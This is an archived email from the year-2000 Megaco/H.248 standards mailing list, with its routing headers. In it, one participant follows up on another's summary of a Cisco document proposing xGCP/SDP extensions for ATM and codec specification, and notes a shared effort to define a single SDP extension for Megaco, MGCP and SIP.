          <0.CB8DA6C0@standards.nortelnetworks.com>; Tue, 29 Feb 2000 22:03:22
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id WAA02578 for
          ; Tue, 29 Feb 2000 22:06:50
          -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id WAA11618 for
          ; Tue, 29 Feb 2000 22:06:47
          -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCMDPD1>; Tue, 29 Feb 2000 22:02:52 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF32E9F7@whq-msgusr-02.fore.com>
Date:         Tue, 29 Feb 2000 22:06:36 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: xGCP/SDP Extensions For ATM and Codec Specification
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

As a follow up to this, please understand that within a small group working
on this effort, we are attempting to have a single mechanism, and in
particular, a single SDP extension which can be used with Megaco/H.248,
MGCP and possibly SIP.  We have been trying to move this effort along
very quickly (not entirely successfully).

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> Sent: Tuesday, February 29, 2000 3:30 PM
> To: MEGACO@standards.nortelnetworks.com
> Subject: xGCP/SDP Extensions For ATM and Codec Specification
>
>
> I have received a Cisco document which has been submitted to
> the ATMSDP list
> set up by Brian Rosen and also to the Media Device Control WG of the
> International Softswitch Consortium.  The content of this document is
> partially applicable to Megaco/H.248 as well as to SGCP and MGCP.  The
> contents may be summarized as follows:
>
> *       SGCP/MGCP-specific stuff
> *       endpoint naming conventions
> *       encodings of parameters in LocalControl which Megaco
> would place in
> Local and Remote (using SDP)
>
> *       An ATM package
> *       new events: setup complete, setup failed, codec change, ptime
> change, cell loss exceeded, packet loss exceeded, quality alert
> *       new signal "Enable CAS type 3 packets" -- haven't a
> clue what this
> is talking about.
>
> *       Codec names for SDP dynamic payload types --
> varieties of G.729,
> G.726, G.723.1, G.727, GSM, and n x 64kbs Clear Channel
>
> *       SDP extensions to carry ATM-related information.
>
> All of this material needs careful study to see how it
> relates both to basic
> requirements and to Megaco/H.248.  I have placed the document,
> ATM_Extensions_xGCP_rev3.1_external_version.pdf, in the
> Megaco FTP site at
> ftp://standards.nortelnetworks.com/megaco/docs/latest/
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961
>